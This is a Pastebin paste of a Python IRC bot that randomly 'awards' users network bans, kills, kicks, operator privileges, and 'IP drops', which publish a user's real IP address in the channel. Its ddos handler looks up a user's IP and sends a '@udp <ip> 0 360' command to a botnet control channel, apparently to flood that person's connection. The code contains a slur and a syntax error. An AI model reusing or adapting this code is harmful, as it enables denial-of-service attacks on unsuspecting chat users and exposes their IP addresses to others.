Advertisement
Guest User

Untitled

a guest
Aug 16th, 2017
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.59 KB | None | 0 0
  1. #venuism is boss
  2.  
  3. from twisted.words.protocols import irc
  4. from twisted.internet import protocol
  5. from twisted.internet import reactor
  6. import random, time, madhash
  7. from random import randint
  8.  
  9. #more premium prizes
  10.     #zlines
  11.     #access to premium commands
  12.         #ip
  13.         #ddos
  14.         #kill
  15.         #kick
  16.         #etc
  17. #track good rewards maybe?
  18. #add more bad_ips
  19.  
  20. #give it some oper eg:
  21. #oper_pass = 'venuism operpassword'
  22. oper_pass = ''
  23. #group it to somethin with anope superadmin and put password below
  24. ns_pass = ''
  25. delay = 20
  26. ddos_channel = ''
  27. ddos_pass = ''
  28. bad_ips = ['127.0.0.1', '178.162.240.66', '178.162.240.67', '178.162.240.68', '178.162.240.69', '178.162.240.70', '178.162.240.71', '178.162.240.72']
  29.  
  30. def dice(max):
  31.     if random.randint(1,max) == 1:
  32.         return True
  33.     else:
  34.         return False
  35.  
  36. class HouseBot(irc.IRCClient):
  37.    
  38.     def _get_nickname(self):
  39.         return self.factory.nickname
  40.    
  41.     nickname = property(_get_nickname)
  42.     user_dict = {}
  43.     gift_dict = {}
  44.     ddos_dict = {}
  45.     ip_drop_dict = {}
  46.    
  47.     def signedOn(self):
  48.         self.sendLine('OPER %s' % oper_pass)
  49.         self.mode(self.factory.nickname,True,'BH',None,None,None)
  50.         self.msg('Nickserv','id %s' % ns_pass)
  51.         self.msg('Operserv', 'set superadmin on')
  52.         self.join(self.factory.channel)
  53.         self.join('%s %s' % (ddos_channel,ddos_pass))
  54.    
  55.     def gline(self,k,v,user,channel):
  56.         self.msg(channel,'%s just won a premium %s, with odds of 1 in %s. :D' % (user,k,v))
  57.         self.sendLine('GLINE %s %s :Enjoy your premium %s, courtesy of skidsr.us' % (user,k.split(' ')[0] ,k)) #fuck knows wat that bug wit switch was
  58.  
  59.     def kill(self,k,v,user,channel):
  60.         self.msg(channel,'%s just won a premium Kill, with odds of 1 in %s. :D' % (user,v))
  61.         self.sendLine('KILL %s :Enjoy your premium kill, courtesy of skidsr.us' % user)
  62.        
  63.     def _kick(self,k,v,user,channel):
  64.         self.msg(channel,'%s just won a premium %s from %s, with odds of 1 in %s. :D' % (user,k,channel,v))
  65.         self.kick(channel,user,reason='Enjoy your premium kick, courtesy of skidsr.us')
  66.        
  67.     def founder(self,k,v,user,channel):
  68.         self.msg(channel,'%s just won a premium %s in %s, with odds of 1 in %s. :D' % (user,k,channel,v))
  69.         self.mode(channel,True,'q',None,user,None)
  70.  
  71.     def oper(self,k,v,user,channel):
  72.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  73.         self.msg('OperServ','oline %s +iOwghraAxNWqt' % user)
  74.         self.msg('OperServ','umode %s +iOwghraAxNWqt' % user)
  75.  
  76.     def ddos(self,k,v,user,channel):
  77.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  78.         self.ddos_dict[user] = channel
  79.         self.sendLine('USERIP %s' % user)
  80.        
  81.     def vhost(self,k,v,user,channel):
  82.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  83.         self.sendLine('CHGIDENT %s Certified' % user)
  84.         self.sendLine('CHGHOST %s premium-chatter.%s' % (user,user.replace('\\','-')))
  85.        
  86.     def ip_drop(self,k,v,user,channel):
  87.         self.msg(channel,'%s just won some premium %s, with odds of 1 in %s. :D' % (user,k,v))
  88.         self.ip_drop_dict[user] = channel
  89.         self.sendLine('USERIP %s' % user)
  90.  
  91.     def debug(self,k,v,user,channel):
  92.         self.msg(channel,'%s %s %s' % (k,v,user))
  93.        
  94.     prizes = {
  95.         '24hr Gline':[10000,gline],
  96.         '6hr Gline':[5000,gline],
  97.         '1hr Gline':[1000,gline],
  98.         '10min Gline':[800,gline],
  99.         '1min Gline':[150,gline],
  100.         'Kill':[50,kill],
  101.         'Kick':[20,_kick],
  102.         '+q':[60,founder],
  103.         'Oper Flags':[1000,oper],
  104.         #'Packets':[450,ddos],
  105.         'vhost':[15,vhost],
  106.         'IP drop':[75,ip_drop],
  107.     }
  108.    
  109.     def irc_JOIN(self, prefix, params):
  110.         channel = params[0]
  111.         nick = prefix.split('!')[0]
  112.         host = prefix.split('!')[1]
  113.         if nick != self.factory.nickname and channel == self.factory.channel:
  114.             if host not in self.user_dict or self.user_dict.get(host, None) <= int(time.time()):
  115.                 self.user_dict[host] = int(time.time()) + delay
  116.                 for k, v in self.prizes.iteritems():
  117.                     if dice(v[0]):
  118.                         print 'Succesful Dice for %s' % k
  119.                         self.prizes[k][1](self,k,v[0],nick,channel)
  120.                         if k == 'vhost':
  121.                             del self.user_dict[host]
  122.                             self.user_dict['certified@premium-chatter.%s' % nick.replace('\\','-')] = int(time.time()) + delay
  123.                         break
  124.             else:
  125.                 print '%s needs to wait %s seconds' % (nick, self.user_dict.get(host, None) - int(time.time()))
  126.         elif nick == self.factory.nickname:
  127.             self.msg(channel, 'Did someone say premium?')
  128.  
  129.    
  130.     def privmsg(self, user, channel, msg):
  131.         nick = user.split('!')[0]
  132.         try:
  133.             host = user.split('!')[1]
  134.         except IndexError, e:
  135.             #server messages etc
  136.             pass
  137.                
  138.         elif msg.split(' ')[0] == '>prizes':
  139.             self.notice(nick,'Premium prizes to be won:')
  140.             for k, v in self.prizes.iteritems():
  141.                 self.notice(nick,'%s with odds of 1 in %s' % (k,v[0]))
  142.                
  143.         elif msg.split(' ')[0] == '>roll' and channel == self.factory.channel:
  144.                
  145.             if host not in self.user_dict or self.user_dict.get(host, None) <= int(time.time()):
  146.                 self.user_dict[host] = int(time.time()) + delay
  147.                 lucky = ''
  148.                 for k, v in self.prizes.iteritems():
  149.                     if dice(v[0]):
  150.                         print 'Succesful dice roll of %s for %s' % (k,nick)
  151.                         self.prizes[k][1](self,k,v[0],nick,channel)
  152.                         lucky = 1
  153.                         if k == 'vhost':
  154.                             del self.user_dict[host]
  155.                             self.user_dict['certified@premium-chatter.%s' % nick.replace('\\','-')] = int(time.time()) + delay
  156.                         break
  157.                 if not lucky:
  158.                     self.notice(nick,'Unlucky, you haven\'t won any premium prize.')
  159.             else:
  160.                 self.notice(nick,'You need to wait %s seconds' % (self.user_dict.get(host, None) - int(time.time())))
  161.    
  162.     def irc_unknown(self, prefix, command, params):
  163.        
  164.         if command == '340':
  165.             user = params[1].split('=')[0].replace('*','')
  166.             ip = params[1].split('@')[1].replace(' ', '')  
  167.             if user in self.ddos_dict:
  168.                 if ip in bad_ips:
  169.                     self.msg(self.ddos_dict.get(user, None),'%s is lucky their ip is on the no ddos list' % user)
  170.                 else:
  171.                     self.msg(ddos_channel,'@udp %s 0 360' % ip)
  172.                 del self.ddos_dict[user]
  173.             elif user in self.ip_drop_dict:
  174.                 self.msg(self.ip_drop_dict.get(user, None),'%s: nice ip bro: %s' % (user,ip))
  175.                 del self.ip_drop_dict[user]
  176.    
  177.     def ctcpQuery(self, user, channel, messages):
  178.         print 'Faggot is ctcp\'in'
  179.  
  180.  
  181. class HouseBotFactory(protocol.ClientFactory):
  182.     protocol = HouseBot
  183.  
  184.     def __init__(self, channel, nickname='Premium_Bot'):
  185.         self.channel = channel
  186.         self.nickname = nickname
  187.        
  188.     def clientConnectionLost(self, connector, reason):
  189.         connector.connect()
  190.        
  191.     def clientConnectionFailed(self, connector, reason):
  192.         print "Connection failure:", reason
  193.         reactor.stop()
  194.  
  195. if __name__ == '__main__':
  196.     reactor.connectTCP('irc.ddosing.eu', 6667, HouseBotFactory('#808'))
  197.     reactor.run()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement